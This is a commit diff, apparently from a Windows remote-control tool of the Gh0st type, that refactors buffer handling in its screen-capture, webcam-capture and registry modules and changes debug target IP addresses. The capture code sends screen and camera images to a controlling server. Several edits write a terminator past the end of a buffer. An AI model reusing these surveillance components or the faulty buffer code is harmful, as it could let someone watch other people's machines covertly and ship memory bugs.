减少远程桌面new的频次
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
This commit is contained in:
@@ -86,7 +86,6 @@ char* RegisterOperation::FindPath()
|
||||
if(KeyCount>0&&KeySize>1){
|
||||
int Size=sizeof(REGMSG)+1;
|
||||
|
||||
//buf=new char[KeyCnt*KeySize+size+1];
|
||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||
ZeroMemory(szBuffer,DataSize);
|
||||
|
||||
@@ -28,6 +28,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
|
||||
|
||||
m_ScreenSpyObject = new CScreenSpy(16);
|
||||
|
||||
szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
@@ -64,8 +66,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
delete[] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
@@ -102,6 +102,11 @@ CScreenManager::~CScreenManager()
|
||||
|
||||
delete[] m_ScreenSpyObject;
|
||||
m_ScreenSpyObject = NULL;
|
||||
if(szBuffer)
|
||||
{
|
||||
delete [] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
@@ -195,16 +200,12 @@ VOID CScreenManager::SendFirstScreen()
|
||||
}
|
||||
|
||||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||
|
||||
delete [] szBuffer;
|
||||
|
||||
szBuffer = NULL;
|
||||
szBuffer[ulFirstSendLength] = 0;
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
@@ -218,10 +219,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
|
||||
ulNextSendLength += 1;
|
||||
|
||||
char* szBuffer = new char[ulNextSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||
szBuffer[ulNextSendLength] = 0;
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@ class IOCPClient;
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
char* szBuffer;
|
||||
CScreenManager(IOCPClient* ClientObject, int n);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<RemoteDebuggerCommand>D:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>D:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.12.248</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>D:\VM\Remoter</DeploymentDirectory>
|
||||
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
|
||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||
<DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>
|
||||
|
||||
@@ -83,25 +83,21 @@ void CVideoManager::Destroy()
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
LPBYTE szBuffer = new BYTE[dwBytesLength];
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
delete [] szBuffer;
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
}
|
||||
|
||||
void CVideoManager::SendNextScreen()
|
||||
{
|
||||
DWORD dwBmpImageSize=0;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>192.168.12.250 2356</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
|
||||
Reference in New Issue
Block a user